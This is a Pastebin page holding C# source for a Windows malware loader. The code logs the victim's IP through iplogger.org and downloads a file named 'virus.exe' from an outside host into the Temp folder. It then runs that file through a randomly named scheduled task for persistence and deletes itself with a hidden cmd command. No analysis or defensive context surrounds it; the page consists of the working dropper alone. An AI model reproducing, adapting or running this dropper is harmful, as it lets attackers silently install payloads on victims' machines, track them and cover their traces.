Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Diagnostics;
- using System.IO;
- using System.Net;
- using System.Reflection;
- using System.Threading;
- namespace Loader
- {
- class Program
- {
- static void Main(string[] args)
- {
- logger("https://iplogger.org/");
- load("link.com/virus.exe", "@deepside.exe");
- running(Environment.GetEnvironmentVariable("Temp") + "\\@deepside.exe");
- DeleteMe("3");
- }
- public static void logger(string url)
- {
- WebRequest request = WebRequest.Create(url);
- request.Credentials = CredentialCache.DefaultCredentials;
- ((HttpWebRequest)request).UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0";
- request.GetResponse();
- }
- public static void load(string link, string filename)
- {
- filename = Environment.GetEnvironmentVariable("Temp") + "\\" + filename;
- using (var user = new WebClient())
- {
- user.DownloadFile(link, filename);
- }
- }
- public static void DeleteMe(string delay)
- {
- Process.Start(new ProcessStartInfo
- {
- Arguments = "/C choice /C Y /N /D Y /T " + delay + " & Del \"" + new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name + "\"",
- WindowStyle = ProcessWindowStyle.Hidden,
- CreateNoWindow = true,
- FileName = "cmd.exe"
- });
- }
- public static void running(string pth)
- {
- var process = new Process();
- process.StartInfo = new ProcessStartInfo("cmd", "/C " + "schtasks /create /tn \\" + generateString() + "\\" + generateString() + " /tr " + pth + " /st 00:00 /du 9999:59 /sc once /ri 1 /f");
- process.StartInfo.RedirectStandardOutput = true;
- process.StartInfo.UseShellExecute = false;
- process.StartInfo.CreateNoWindow = true;
- process.Start();
- }
- public static String generateString()
- {
- string symbols = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
- string result = "";
- Random rnd = new Random();
- int iter = rnd.Next(0, symbols.Length);
- for (int i = 0; i < iter; i++)
- result += symbols[rnd.Next(0, symbols.Length)];
- return result;
- }
- }
- }
Add Comment
Please, Sign In to add comment